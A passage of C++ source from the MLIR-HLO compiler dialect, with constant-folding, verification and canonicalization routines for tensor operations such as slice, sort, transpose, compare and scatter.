return UnaryFolder<Op, FloatType, APFloat, Func<APFloat>>(this, attrs); \ if (getElementTypeOrSelf(getType()).isa<IntegerType>()) \ return UnaryFolder<Op, IntegerType, APInt, Func<APInt>>(this, attrs); \ return {}; \ } #define UNARY_FOLDER_INT(Op, Func) \ OpFoldResult Op::fold(ArrayRef<Attribute> attrs) { \ if (getElementTypeOrSelf(getType()).isa<IntegerType>()) \ return UnaryFolder<Op, IntegerType, APInt, Func>(this, attrs); \ return {}; \ } #define UNARY_FOLDER_FLOAT(Op, Func) \ OpFoldResult Op::fold(ArrayRef<Attribute> attrs) { \ if (getElementTypeOrSelf(getType()).isa<FloatType>()) \ return UnaryFolder<Op, FloatType, APFloat, Func>(this, attrs); \ return {}; \ } UNARY_FOLDER(NegOp, std::negate); UNARY_FOLDER(SignOp, sign); UNARY_FOLDER_INT(NotOp, logical_not); UNARY_FOLDER_FLOAT(RoundOp, round); #undef UNARY_FOLDER #undef UNARY_FOLDER_INT #undef UNARY_FOLDER_FLOAT //===----------------------------------------------------------------------===// // BinaryOps //===----------------------------------------------------------------------===// namespace { // Updates the element type of a (presumed) tensor type 'x', returning either // a permuted UnrankedTensorType or RankedTensorType. static Type UpdateResultElementType(Builder* builder, Type x, Type element_type) { auto x_ranked = x.dyn_cast<RankedTensorType>(); if (!x_ranked) { return UnrankedTensorType::get(element_type); } auto shape_x = x_ranked.getShape(); return RankedTensorType::get(shape_x, element_type); } } // namespace template <typename Op, typename ElementType = Type, typename ValType, typename Convert> static Attribute BinaryFolder(Op* op, ArrayRef<Attribute> attrs) { if (!attrs[0] || !attrs[1]) return {}; DenseElementsAttr lhs = attrs[0].dyn_cast<DenseElementsAttr>(); DenseElementsAttr rhs = attrs[1].dyn_cast<DenseElementsAttr>(); if (!lhs || !rhs) return {}; ShapedType type = op->getType().template cast<ShapedType>(); if (!type.hasStaticShape()) { return {}; } Type etype = type.getElementType(); // Evaluate for integer values. if (!etype.isa<ElementType>()) { return {}; } SmallVector<ValType, 6> values; values.reserve(lhs.getNumElements()); for (const auto zip : llvm::zip(lhs.getValues<ValType>(), rhs.getValues<ValType>())) { values.push_back(Convert()(std::get<0>(zip), std::get<1>(zip))); } return DenseElementsAttr::get(type, values); } template <typename T> struct divide : std::divides<T> {}; template <> struct divide<APInt> { APInt operator()(const APInt& a, const APInt& b) const { return a.sdiv(b); } }; template <typename T> struct remainder : std::modulus<T> {}; template <> struct remainder<APInt> { APInt operator()(const APInt& a, const APInt& b) const { return a.srem(b); } }; template <> struct remainder<APFloat> { APFloat operator()(const APFloat& a, const APFloat& b) const { APFloat result(a); result.remainder(b); return result; } }; template <typename T> struct max { T operator()(const T& a, const T& b) const { return std::max<T>(a, b); } }; template <> struct max<APInt> { APInt operator()(const APInt& a, const APInt& b) const { return llvm::APIntOps::smax(a, b); } }; template <typename T> struct min { T operator()(const T& a, const T& b) const { return std::min<T>(a, b); } }; template <> struct min<APInt> { APInt operator()(const APInt& a, const APInt& b) const { return llvm::APIntOps::smin(a, b); } }; #define BINARY_FOLDER(Op, Func) \ OpFoldResult Op::fold(ArrayRef<Attribute> attrs) { \ if (getElementTypeOrSelf(getType()).isa<FloatType>()) \ return BinaryFolder<Op, FloatType, APFloat, Func<APFloat>>(this, attrs); \ if (getElementTypeOrSelf(getType()).isa<IntegerType>()) \ return BinaryFolder<Op, IntegerType, APInt, Func<APInt>>(this, attrs); \ return {}; \ } // Addition, subtraction and multiplication use the std:: versions of the ops. // Due to the other ops behaving differently in signed vs unsigned integers, // APInts need a special implementation. Currently, it replicates signed int // op behavior. BINARY_FOLDER(AddOp, std::plus); BINARY_FOLDER(SubOp, std::minus); BINARY_FOLDER(MulOp, std::multiplies); BINARY_FOLDER(DivOp, divide); BINARY_FOLDER(RemOp, remainder); BINARY_FOLDER(MaxOp, max); BINARY_FOLDER(MinOp, min); #undef BINARY_FOLDER //===----------------------------------------------------------------------===// // SliceOp //===----------------------------------------------------------------------===// // Returns output dimension size for slice result for the given arguments. // Returns -1 if arguments are illegal. static int64_t InferSliceDim(int64_t input_dim, int64_t start, int64_t end, int64_t stride) { if (input_dim == -1 || start < 0 || start > end || end > input_dim || stride == 0) return -1; return llvm::divideCeil(end - start, stride); } LogicalResult SliceOp::inferReturnTypes( MLIRContext* context, Optional<Location> location, ValueRange operands, DictionaryAttr attributes, RegionRange regions, SmallVectorImpl<Type>& inferredReturnTypes) { SliceOpAdaptor slice(operands, attributes); // TODO(jpienaar): Update this code after refactoring verify. if (failed(slice.verify(location.getValueOr(UnknownLoc::get(context))))) { return failure(); } Type ty = slice.operand().getType(); RankedTensorType ranked_ty = ty.dyn_cast<RankedTensorType>(); if (!ranked_ty) { // The operand type is unranked, so the best we can infer for the result // type is an unranked tensor with the same element type as the operand // type. inferredReturnTypes.assign({ty}); return success(); } ShapedType attr_ty = slice.start_indices().getType(); if (attr_ty.getRank() != 1) { return emitOptionalError(location, "start_indices has rank ", attr_ty.getRank(), " instead of required rank 1"); } int64_t rank = ranked_ty.getRank(); if (attr_ty.getNumElements() != rank) { return emitOptionalError( location, "the number of elements in start_indices (", attr_ty.getNumElements(), ") does not match the rank of the operand (", rank, ")"); } if (!attr_ty.getElementType().isSignlessInteger(64) || slice.limit_indices().getType() != attr_ty || slice.strides().getType() != attr_ty) { // Unfortunately we can't rely on the AllTypesMatch trait for the SliceOp // having been verified at this point. Emit an error message that matches // the one that would be reported by AllTypesMatch for a more consistent // user experience. // TODO(b/171567182): Clean this up after AllTypesMatch has been refactored. return emitOptionalError(location, "failed to verify that all of {start_indices, " "limit_indices, strides} have same type"); } SmallVector<int64_t, 4> start(slice.start_indices().getValues<int64_t>()); SmallVector<int64_t, 4> limit(slice.limit_indices().getValues<int64_t>()); SmallVector<int64_t, 4> stride_vals(slice.strides().getValues<int64_t>()); SmallVector<int64_t, 4> shape; shape.reserve(rank); for (int64_t i = 0, e = rank; i != e; i++) { shape.push_back(InferSliceDim(ranked_ty.getDimSize(i), start[i], limit[i], stride_vals[i])); } inferredReturnTypes.assign( {RankedTensorType::get(shape, ranked_ty.getElementType())}); return success(); } template <typename I, typename E> static void SliceElements(I values, ArrayRef<int64_t> sizes, ArrayRef<int64_t> starts, ArrayRef<int64_t> limits, ArrayRef<int64_t> strides, llvm::SmallVectorImpl<E>* out_values) { assert(starts.size() == limits.size()); assert(starts.size() == strides.size()); if (starts.empty()) return; int64_t start = starts.front(); int64_t limit = limits.front(); int64_t stride = strides.front(); if (starts.size() == 1) { for (int i = start; i < limit; i += stride) { out_values->push_back(*(values + i)); } return; } for (; start < limit; start += stride) { auto begin = values + start * sizes.front(); SliceElements<I, E>(begin, sizes.drop_front(), starts.drop_front(), limits.drop_front(), strides.drop_front(), out_values); } } template <typename I, typename E> static Attribute FoldSlice(SliceOp* op, I values) { auto start = llvm::to_vector<6>(op->start_indices().getValues<int64_t>()); auto limit = llvm::to_vector<6>(op->limit_indices().getValues<int64_t>()); auto stride = llvm::to_vector<6>(op->strides().getValues<int64_t>()); auto result_type = op->operand().getType().cast<ShapedType>(); if (!result_type.hasStaticShape()) return {}; auto shape = result_type.getShape(); int64_t count = result_type.getNumElements(); if (count == 0) { return DenseElementsAttr::get<E>( op->getResult().getType().cast<ShapedType>(), /*list=*/{}); } // Compute the striding for each dimension. llvm::SmallVector<int64_t, 6> sizes; sizes.reserve(shape.size()); for (auto v : shape) { count = count / v; sizes.push_back(count); } llvm::SmallVector<E, 6> out_values; out_values.reserve(result_type.getNumElements()); SliceElements<I, E>(values, sizes, start, limit, stride, &out_values); return DenseElementsAttr::get(op->getResult().getType().cast<ShapedType>(), out_values); } OpFoldResult SliceOp::fold(ArrayRef<Attribute> operands) { // Check if the SliceOp is a NoOp operation. auto operand_type = getOperand().getType().cast<ShapedType>(); auto result_type = getResult().getType().cast<ShapedType>(); if (operand_type.hasStaticShape() && result_type.hasStaticShape() && (operand_type.getShape() == result_type.getShape())) { return getOperand(); } if (operands.empty() || !operands.front()) return {}; // Evaluate for statically valued inputs. DenseElementsAttr elements = operands.front().dyn_cast<DenseElementsAttr>(); if (!elements) return {}; auto etype = elements.getType().getElementType(); if (etype.isa<IntegerType>()) { return FoldSlice<DenseElementsAttr::IntElementIterator, APInt>( this, elements.getIntValues().begin()); } else if (etype.isa<FloatType>()) { return FoldSlice< llvm::mapped_iterator<DenseElementsAttr::IntElementIterator, std::function<APFloat(const APInt&)>>, APFloat>(this, elements.getFloatValues().begin()); } return {}; } namespace { // In cases where a concat is fed into a slice, it is possible the concat // can be simplified or bypassed. This checks which inputs to the concat are // used by the slice, either reducing the number of concatenated values or // entirely removes the concat. struct SimplifyConcatSlice : public OpRewritePattern<SliceOp> { using OpRewritePattern<SliceOp>::OpRewritePattern; LogicalResult matchAndRewrite(SliceOp slice, PatternRewriter& rewriter) const override { auto result_ty = slice.getType().cast<ShapedType>(); if (!result_ty.hasStaticShape()) { return failure(); } auto slice_input = slice.operand(); auto slice_input_ty = slice_input.getType().cast<ShapedType>(); auto concat = slice_input.getDefiningOp<ConcatenateOp>(); if (!concat) { return failure(); } auto dimension = concat.dimension(); auto start = slice.start_indices().getIntValues(); auto limit = slice.limit_indices().getIntValues(); auto slice_start = (*(start.begin() + dimension)).getSExtValue(); auto slice_limit = (*(limit.begin() + dimension)).getSExtValue(); // We need to determine what inputs from the concat affect the slice, and // how the bounds of the slice need to be updated for the minimally required // inputs. int64_t running_size = 0; int64_t front_offset = slice_input_ty.getShape()[dimension]; auto subset_start = concat.operand_end(); auto subset_end = concat.operand_end(); for (auto it = concat.operand_begin(); it < concat.operand_end(); ++it) { auto input = *it; ShapedType input_ty = input.getType().cast<ShapedType>(); if (input_ty.isDynamicDim(dimension)) { return failure(); } auto dim_size = input_ty.getShape()[dimension]; // If this position is in the slice its the start of the subset and we // need to update the start and limit values. if (running_size + dim_size > slice_start && subset_start == concat.operand_end()) { subset_start = it; front_offset = running_size; } // Determine the last required offset. if (running_size < slice_limit) { subset_end = it + 1; } running_size += dim_size; } auto subset_size = subset_end - subset_start; // We need all inputs so no optimization. if (subset_size == concat.getNumOperands()) { return failure(); } // If there's nothing to slice that means the output is an empty tensor and // there is dead code. We do nothing here and rely on other passes to clean // this up. if (subset_size == 0) { return failure(); } if (subset_size > 1 && !concat.getResult().hasOneUse()) { return failure(); } auto concat_range = OperandRange(subset_start, subset_end); auto new_concat = rewriter.create<ConcatenateOp>( concat.getLoc(), concat_range, concat.dimension()); llvm::SmallVector<APInt, 6> new_start(start); llvm::SmallVector<APInt, 6> new_limit(limit); new_start[dimension] -= front_offset; new_limit[dimension] -= front_offset; auto attr_type = slice.start_indices().getType().cast<ShapedType>(); auto create = rewriter.create<SliceOp>( slice.getLoc(), new_concat, DenseIntElementsAttr::get(attr_type, new_start), DenseIntElementsAttr::get(attr_type, new_limit), slice.strides()); rewriter.replaceOp(slice, create.getResult()); return success(); } }; } // namespace void SliceOp::getCanonicalizationPatterns(OwningRewritePatternList& results, MLIRContext* context) { results.insert<SimplifyConcatSlice>(context); } //===----------------------------------------------------------------------===// // SortOp //===----------------------------------------------------------------------===// void SortOp::build(OpBuilder& builder, OperationState& state, ValueRange operands, int64_t dimension, bool is_stable) { state.addOperands(operands); state.addAttribute("dimension", builder.getI64IntegerAttr(dimension)); state.addAttribute("is_stable", builder.getBoolAttr(is_stable)); for (Value operand : operands) state.addTypes(operand.getType()); state.addRegion(); } static LogicalResult Verify(SortOp op) { Operation::operand_range operands = op.operands(); if (operands.empty()) return op.emitOpError("requires at least one input"); // TODO(antiagainst): verify partionally dynamic shapes if (llvm::all_of(operands, [](Value operand) { return operand.getType().cast<ShapedType>().hasRank(); })) { ArrayRef<int64_t> input_shape = (*operands.begin()).getType().cast<ShapedType>().getShape(); if (llvm::any_of(llvm::drop_begin(operands, 1), [&](Value operand) { return operand.getType().cast<ShapedType>().getShape() != input_shape; })) return op.emitOpError("requires all inputs to have the same dimensions"); int64_t rank = input_shape.size(); int64_t cmp_dim = op.dimension(); if (cmp_dim < -rank || cmp_dim >= rank) return op.emitOpError("dimension attribute value must be in range [-") << rank << ", " << rank << "), but found " << cmp_dim; } Block& block = op.comparator().front(); size_t num_operands = op.getOperation()->getNumOperands(); if (block.getNumArguments() != 2 * num_operands) return op.emitOpError("comparator block should have ") << 2 * num_operands << " arguments"; for (auto indexed_operand : llvm::enumerate(operands)) { int index = indexed_operand.index(); Type element_type = indexed_operand.value().getType().cast<ShapedType>().getElementType(); Type tensor_type = RankedTensorType::get({}, element_type); for (int i : {2 * index, 2 * index + 1}) { Type arg_type = block.getArgument(i).getType(); if (arg_type != tensor_type) return op.emitOpError("comparator block argument #") << i << " should be of type " << tensor_type << " but got " << arg_type; } } return success(); } /// Drops the operands if the results are not used and they are not used in /// op.comparator(). static LogicalResult SortDropEmptyUseArgs(SortOp op, PatternRewriter& rewriter) { DenseSet<unsigned> erased_args; unsigned num_operands = op.getNumOperands(); for (unsigned i = 0; i < num_operands; ++i) { if (!op.getResult(i).use_empty()) continue; Block& block = op.comparator().front(); if (!block.getArgument(i * 2).use_empty()) continue; if (!block.getArgument(i * 2 + 1).use_empty()) continue; erased_args.insert(i); } if (erased_args.empty()) return failure(); SmallVector<Value> new_operands; SmallVector<unsigned> erased_block_args; for (auto en : llvm::enumerate(op.operands())) { if (erased_args.contains(en.index())) { erased_block_args.push_back(en.index() * 2); erased_block_args.push_back(en.index() * 2 + 1); } else { new_operands.push_back(en.value()); } } auto new_op = rewriter.create<SortOp>(op.getLoc(), new_operands, op.dimension(), op.is_stable()); Region& region = new_op.comparator(); rewriter.inlineRegionBefore(op.comparator(), region, region.end()); region.front().eraseArguments(erased_block_args); SmallVector<Value> results; for (unsigned i = 0, j = 0; i < num_operands; ++i) { if (erased_args.contains(i)) { results.push_back({}); } else { results.push_back(new_op.getResult(j++)); } } rewriter.replaceOp(op, results); return success(); } void SortOp::getCanonicalizationPatterns(OwningRewritePatternList& results, MLIRContext* /*context*/) { results.insert(SortDropEmptyUseArgs); } //===----------------------------------------------------------------------===// // TransposeOp //===----------------------------------------------------------------------===// namespace { // Transpose the given elements attr according to the specified permutation. mlir::ElementsAttr TransposeElementsAttr( const mlir::ElementsAttr& elements, const DenseIntElementsAttr& perm_attr) { ShapedType type = elements.getType(); int64_t rank = type.getRank(); if (rank < 2) { // Transpose rank 0 and rank 1 tensor is equal to itself. return elements; } SmallVector<int64_t, 4> perm; for (auto v : perm_attr.getIntValues()) { perm.push_back(static_cast<int64_t>(v.getSExtValue())); } SmallVector<int64_t, 4> orig_shape; for (auto v : type.getShape()) orig_shape.push_back(v); SmallVector<int64_t, 4> new_shape(rank); for (int64_t dim = 0; dim < rank; ++dim) { new_shape[dim] = orig_shape[perm[dim]]; } SmallVector<Attribute, 8> transposed_attrs(elements.getNumElements()); for (int64_t i = 0; i < elements.getNumElements(); ++i) { SmallVector<uint64_t, 4> orig_index(rank); SmallVector<uint64_t, 4> new_index(rank); int orig_linear_index = i; for (int64_t dim = rank - 1; dim >= 0; --dim) { orig_index[dim] = orig_linear_index % orig_shape[dim]; orig_linear_index /= orig_shape[dim]; } for (int64_t dim = 0; dim < rank; ++dim) { new_index[dim] = orig_index[perm[dim]]; } int64_t new_linear_index = new_index[0]; for (int64_t dim = 1; dim < rank; ++dim) { new_linear_index = new_linear_index * new_shape[dim] + new_index[dim]; } transposed_attrs[new_linear_index] = elements.getValue(orig_index); } return DenseElementsAttr::get(RankedTensorType::get( new_shape, type.getElementType()), transposed_attrs); } } // namespace OpFoldResult TransposeOp::fold(ArrayRef<Attribute> operands) { // If the result has non-static shape, a transpsed op is necessary to go from // static shape to non-static shape. auto resultTy = getResult().getType().dyn_cast<RankedTensorType>(); if (!resultTy || !resultTy.hasStaticShape()) return {}; // operand is const, thus fold it directly. if (auto elementsAttr = operands.front().dyn_cast_or_null<ElementsAttr>()) { return TransposeElementsAttr(elementsAttr, permutation()); } for (auto it : llvm::enumerate(permutation().getValues<APInt>())) { if (it.index() != it.value()) { return {}; } } return getOperand(); } static LogicalResult Verify(TransposeOp op) { // permutation is an attribute of the op so it has static shape. auto permutationType = op.permutation().getType(); auto permutationRank = permutationType.getRank(); if (permutationRank != 1) { return op.emitOpError(llvm::formatv( "permutation has rank {0} instead of rank 1", permutationRank)); } auto permutationSize = permutationType.getNumElements(); auto operandType = op.operand().getType().dyn_cast<RankedTensorType>(); if (operandType) { auto operandRank = operandType.getRank(); if (operandRank != permutationSize) { return op.emitOpError(llvm::formatv( "operand rank ({0}) does not match permutation size ({1})", operandRank, permutationSize)); } } auto resultType = op.getResult().getType().dyn_cast<RankedTensorType>(); if (resultType) { auto resultRank = resultType.getRank(); if (resultRank != permutationSize) { return op.emitOpError(llvm::formatv( "result rank ({0}) does not match permutation size ({1})", resultRank, permutationSize)); } } if (!resultType || !operandType) return success(); auto operandRank = operandType.getRank(); SmallVector<int64_t, 4> expectedShape(operandRank); for (int i = 0; i != operandRank; ++i) { auto permutedDim = op.permutation().getValue<IntegerAttr>(i).getInt(); expectedShape[i] = operandType.getDimSize(permutedDim); } auto expectedType = RankedTensorType::get(expectedShape, resultType.getElementType()); if (failed(verifyCompatibleShape(resultType, expectedType))) { return op.emitOpError(llvm::formatv( "result type {0} is incompatible with the expected type {1}", resultType, expectedType)); } return success(); } LogicalResult TransposeOp::reifyReturnTypeShapes( OpBuilder& builder, ValueRange operands, SmallVectorImpl<Value>& reifiedReturnShapes) { TransposeOp::Adaptor adaptor(operands); Value operand = adaptor.operand(); auto operand_type = operand.getType().dyn_cast<RankedTensorType>(); // Not support unranked type a.t.m. if (!operand_type) return failure(); Location loc = this->getLoc(); SmallVector<int64_t, 4> permutation(this->permutation().getValues<int64_t>()); SmallVector<Value, 4> shape_values(permutation.size()); Type shape_scalar_type = builder.getIndexType(); auto to_shape_scalar_type = [&](Value v) { return MaybeCastTo(builder, loc, v, shape_scalar_type); }; for (const auto& element : llvm::enumerate(operand_type.getShape())) { int64_t idx = element.index(); auto it = std::find(permutation.begin(), permutation.end(), idx); Value value_dim = to_shape_scalar_type( builder.create<tensor::DimOp>(loc, operand, element.index())); shape_values[std::distance(permutation.begin(), it)] = value_dim; } Value output_shape = builder.create<tensor::FromElementsOp>( loc, shape_scalar_type, shape_values); reifiedReturnShapes.push_back(output_shape); return success(); } //===----------------------------------------------------------------------===// // TriangularSolveOp //===----------------------------------------------------------------------===// static LogicalResult Verify(TriangularSolveOp op) { auto a_type = op.a().getType().dyn_cast<RankedTensorType>(); // Skip verifier if a is unranked tensor. if (!a_type) return success(); // Check that a should have rank >= 2 auto a_rank = a_type.getRank(); if (a_rank < 2) return op.emitOpError() << "operand 'a' must have rank >= 2, but got " << a_type; // The two minor dimensions of a must have same size. if (a_type.getDimSize(a_rank - 2) != a_type.getDimSize(a_rank - 1)) return op.emitOpError() << "two minor dimensions of operand 'a' must have " "equal size, but got " << a_type; auto b_type = op.b().getType().dyn_cast<RankedTensorType>(); // If b is unranked skip remaining checks. if (!b_type) return success(); // Check that a and b have same rank. auto b_rank = b_type.getRank(); if (a_rank != b_rank) return op.emitOpError() << "operands must have equal rank, but got " << a_type << " and " << b_type; // The shared dimension of a and b should match. if (a_type.getDimSize(a_rank - 1) != b_type.getDimSize(b_rank - (op.left_side() ? 2 : 1))) return op.emitOpError() << "shared dimension of operands 'a' and 'b' does " "not match, but got " << a_type << " and " << b_type; // The leading batch dimensions of a and b must be equal. auto a_batch_dims = a_type.getShape().drop_back(2); auto b_batch_dims = b_type.getShape().drop_back(2); if (a_batch_dims != b_batch_dims) return op.emitOpError() << "leading batch dimensions of the operands must be same, but got " << a_type << " and " << b_type; // Result and argument b must have same shape. auto result_type = op.getType().dyn_cast<RankedTensorType>(); if (!result_type) return success(); if (result_type != b_type) return op.emitOpError() << "result and operand 'b' must have same shape, but got " << result_type << " and " << b_type; return success(); } //===----------------------------------------------------------------------===// // GetTupleElementOp //===----------------------------------------------------------------------===// void GetTupleElementOp::build(OpBuilder& builder, OperationState& result, Value tuple, int32_t index) { if (auto tuple_type = tuple.getType().dyn_cast<TupleType>()) { auto element_type = tuple_type.getType(index); build(builder, result, element_type, tuple, builder.getI32IntegerAttr(index)); return; } build(builder, result, tuple.getType(), tuple, builder.getI32IntegerAttr(index)); } //===----------------------------------------------------------------------===// // TupleOp //===----------------------------------------------------------------------===// void TupleOp::build(OpBuilder& builder, OperationState& result, ValueRange values) { SmallVector<Type, 4> types; types.reserve(values.size()); for (auto val : values) { types.push_back(val.getType()); } build(builder, result, builder.getTupleType(types), values); } //===----------------------------------------------------------------------===// // UnaryEinsumOp //===----------------------------------------------------------------------===// void UnaryEinsumOp::getCanonicalizationPatterns( OwningRewritePatternList& results, MLIRContext* context) { results.insert<UnaryEinsumToEinsum>(context); } //===----------------------------------------------------------------------===// // CompareOp //===----------------------------------------------------------------------===// void CompareOp::build(OpBuilder& builder, OperationState& result, Value lhs, Value rhs, StringAttr comparison_direction, StringAttr compare_type) { auto new_type = UpdateResultElementType(&builder, lhs.getType(), builder.getI1Type()); build(builder, result, new_type, lhs, rhs, comparison_direction, compare_type); } LogicalResult CompareOp::inferReturnTypeComponents( mlir::MLIRContext* ctx, llvm::Optional<mlir::Location>, ValueShapeRange operands, mlir::DictionaryAttr, mlir::RegionRange, llvm::SmallVectorImpl<mlir::ShapedTypeComponents>& inferredReturnTypes) { OpBuilder builder(ctx); auto arg_ty = operands.front().getType().cast<TensorType>(); inferredReturnTypes.push_back({arg_ty.getShape(), builder.getI1Type()}); return success(); } LogicalResult CompareOp::reifyReturnTypeShapes( OpBuilder& builder, ValueRange operands, SmallVectorImpl<Value>& reifiedReturnShapes) { return deriveShapeFromOperand(&builder, getOperation(), operands.front(), &reifiedReturnShapes); } template <typename T> struct less : std::less<T> {}; template <> struct less<APInt> { bool operator()(const APInt& a, const APInt& b) const { return a.slt(b); } }; template <typename T> struct less_equal : std::less_equal<T> {}; template <> struct less_equal<APInt> { bool operator()(const APInt& a, const APInt& b) const { return a.sle(b); } }; template <typename T> struct greater : std::greater<T> {}; template <> struct greater<APInt> { bool operator()(const APInt& a, const APInt& b) const { return a.sgt(b); } }; template <typename T> struct greater_equal : std::greater_equal<T> {}; template <> struct greater_equal<APInt> { bool operator()(const APInt& a, const APInt& b) const { return a.sge(b); } }; template <typename Op, typename ElementType, typename SrcType, typename Convert> static Attribute CompareFolder(CompareOp op, ArrayRef<Attribute> attrs) { if (!attrs[0] || !attrs[1]) return {}; DenseElementsAttr lhs = attrs[0].dyn_cast<DenseElementsAttr>(); DenseElementsAttr rhs = attrs[1].dyn_cast<DenseElementsAttr>(); if (!lhs || !rhs) return {}; ShapedType operand_type = op.getOperand(0).getType().template cast<ShapedType>(); if (!operand_type.hasStaticShape()) { return {}; } if (!operand_type.getElementType().isa<ElementType>()) { return {}; } SmallVector<bool, 6> values; values.reserve(lhs.getNumElements()); for (const auto zip : llvm::zip(lhs.getValues<SrcType>(), rhs.getValues<SrcType>())) { values.push_back(Convert()(std::get<0>(zip), std::get<1>(zip))); } auto result_ty = op.getType().cast<ShapedType>(); return DenseElementsAttr::get(result_ty, values); } OpFoldResult CompareOp::fold(ArrayRef<Attribute> operands) { auto result_ty = getType().cast<ShapedType>(); if (!result_ty.hasStaticShape()) return {}; auto direction = comparison_direction(); if (lhs() == rhs() && !getElementTypeOrSelf(lhs()).isa<FloatType>()) { if (direction == "LE" || direction == "EQ" || direction == "GE") { return DenseIntElementsAttr::get(result_ty, {true}); } return DenseIntElementsAttr::get(result_ty, {false}); } auto op_el_type = lhs().getType().cast<ShapedType>().getElementType(); // Fold tensor<*xi1> != false to just return tensor<*xi1> if (direction == "NE" && op_el_type.isInteger(1)) { DenseIntElementsAttr cst_attr; if (matchPattern(lhs(), m_Constant(&cst_attr))) { if (cst_attr.isSplat() && !cst_attr.getSplatValue<bool>()) { return rhs(); } } if (matchPattern(rhs(), m_Constant(&cst_attr))) { if (cst_attr.isSplat() && !cst_attr.getSplatValue<bool>()) { return lhs(); } } } // Fold tensor<*xi1> == True to just return tensor<*xi1> if (direction == "EQ" && op_el_type.isInteger(1)) { DenseIntElementsAttr cst_attr; if (matchPattern(lhs(), m_Constant(&cst_attr))) { if (cst_attr.isSplat() && cst_attr.getSplatValue<bool>()) { return rhs(); } } if (matchPattern(rhs(), m_Constant(&cst_attr))) { if (cst_attr.isSplat() && cst_attr.getSplatValue<bool>()) { return lhs(); } } } if (!operands[0] || !operands[1]) { return {}; } #define COMPARE_FOLDER(Op, comparison, Func) \ if (direction == comparison) { \ if (auto folded = CompareFolder<Op, FloatType, APFloat, Func<APFloat>>( \ *this, operands)) \ return folded; \ if (auto folded = CompareFolder<Op, IntegerType, APInt, Func<APInt>>( \ *this, operands)) \ return folded; \ } COMPARE_FOLDER(CompareOp, "EQ", std::equal_to); COMPARE_FOLDER(CompareOp, "NE", std::not_equal_to); COMPARE_FOLDER(CompareOp, "LT", less); COMPARE_FOLDER(CompareOp, "LE", less_equal); COMPARE_FOLDER(CompareOp, "GT", greater); COMPARE_FOLDER(CompareOp, "GE", greater_equal); #undef COMPARE_FOLDER return {}; } //===----------------------------------------------------------------------===// // ScatterOp //===----------------------------------------------------------------------===// llvm::SmallVector<Attribute, 4> evaluateMhloRegion(Region& region, ArrayRef<Attribute> inputs) { if (region.getNumArguments() != inputs.size()) return {}; llvm::DenseMap<Value, Attribute> values; values.reserve(region.getNumArguments()); for (auto it : llvm::zip(region.getArguments(), inputs)) { values.try_emplace(std::get<0>(it), std::get<1>(it)); } for (auto& op : region.getOps()) { llvm::SmallVector<Attribute, 4> inputs; for (auto& operand : op.getOpOperands()) { inputs.push_back(values.lookup(operand.get())); } if (isa<ReturnOp>(op)) return inputs; llvm::SmallVector<OpFoldResult, 4> results; if (failed(op.fold(inputs, results))) return {}; for (auto it : llvm::zip(op.getResults(), results)) { if (!std::get<1>(it).is<Attribute>()) return {}; values.insert({std::get<0>(it), std::get<1>(it).get<Attribute>()}); } } return {}; } OpFoldResult ScatterOp::fold(ArrayRef<Attribute> operands) { auto base = operands[0].dyn_cast_or_null<DenseElementsAttr>(); auto index = operands[1].dyn_cast_or_null<DenseIntElementsAttr>(); auto update = operands[2].dyn_cast_or_null<DenseElementsAttr>(); if (!base || !index || !update) return {}; auto base_type = base.getType().dyn_cast<RankedTensorType>(); auto index_type = index.getType().dyn_cast<RankedTensorType>(); auto update_type = update.getType().dyn_cast<RankedTensorType>(); if (!base_type || !index_type || !update_type) return {}; // Add the virtual trailing dimension of size 1 if index_vector_dim equals to // index_type.rank. const int64_t index_vector_dim = scatter_dimension_numbers().index_vector_dim().getInt(); if (index_vector_dim == index_type.getRank()) { auto index_shape = index_type.getShape().vec(); index_shape.push_back(1); index_type = RankedTensorType::get(index_shape, index_type.getElementType()); index = index.reshape(index_type).cast<DenseIntElementsAttr>(); } // Increment the multi-dimensional index vector based on the limits for each // dimension specified by shape and returns false if the index rolled around // with true otherwise. auto next_index = [](llvm::SmallVector<uint64_t, 8>& index, llvm::ArrayRef<int64_t> shape) { for (int64_t i = index.size() - 1; i >= 0; --i) { ++index[i]; if (index[i] < shape[i]) return true; index[i] = 0; } return false; }; // Iterate over all elements of the update tensor, then find the corresponding // value in the indices tensor to determine which location we have to update // in the base/result tensor. llvm::SmallVector<Attribute, 8> results(base.getValues<Attribute>()); llvm::SmallVector<uint64_t, 8> update_index(update_type.getRank(), 0); llvm::SmallVector<uint64_t, 8> index_index; index_index.reserve(index_type.getRank()); llvm::SmallVector<uint64_t, 8> base_index; base_index.reserve(base_type.getRank()); do { // Compute the index for the slice of the indices tensor for this update // value. index_index.clear(); if (index_vector_dim == 0) index_index.push_back(0); for (int64_t i = 0; i < update_index.size(); ++i) { if (llvm::count(scatter_dimension_numbers().update_window_dims(), i) == 0) index_index.push_back(update_index[i]); if (index_index.size() == index_vector_dim) index_index.push_back(0); } // Compute the index for the given update value in the base tensor. base_index.assign(base_type.getRank(), 0); uint64_t index_count = index_type.getShape()[index_vector_dim]; for (uint64_t i = 0; i < index_count; ++i) { uint64_t operand_dim = scatter_dimension_numbers() .scatter_dims_to_operand_dims() .getValue<APInt>({i}) .getSExtValue(); index_index[index_vector_dim] = i; base_index[operand_dim] += index.getValue<APInt>(index_index).getSExtValue(); } uint64_t update_window_dim_index = 0; for (uint64_t i = 0; i < base_index.size(); ++i) { if (llvm::count(scatter_dimension_numbers().inserted_window_dims(), i)) continue; base_index[i] += update_index[scatter_dimension_numbers() .update_window_dims() .getValue<APInt>({update_window_dim_index}) .getSExtValue()]; update_window_dim_index++; } // Compute the linear index for the index into the base tensor. int64_t linear_base_index = 0; int64_t linear_base_index_multiplyer = 1; for (int64_t i = base_index.size() - 1; i >= 0; --i) { // Out of bound index have backend specific behaviour so avoid folding it. if (base_index[i] < 0 || base_index[i] >= base_type.getShape()[i]) return {}; linear_base_index += base_index[i] * linear_base_index_multiplyer; linear_base_index_multiplyer *= base_type.getShape()[i]; } // Evaluate update computation and update the value with the newly computed // attribute in the base tensor. auto lhs = DenseElementsAttr::get( RankedTensorType::get({}, base_type.getElementType()), results[linear_base_index]); auto rhs = DenseElementsAttr::get( RankedTensorType::get({}, base_type.getElementType()), update.getValue<Attribute>(update_index)); auto new_value = evaluateMhloRegion(update_computation(), {lhs, rhs}); if (new_value.size() != 1 || !new_value[0]) return {}; results[linear_base_index] = new_value[0].cast<DenseElementsAttr>().getValue<Attribute>({}); } while (next_index(update_index, update_type.getShape())); return DenseElementsAttr::get(base_type, results); } using mlir::hlo::parseWindowAttributes; using mlir::hlo::printWindowAttributes; } // namespace mhlo } // namespace mlir #define GET_OP_CLASSES #include "mlir-hlo/Dialect/mhlo/IR/hlo_ops.cc.inc" namespace mlir { namespace mhlo 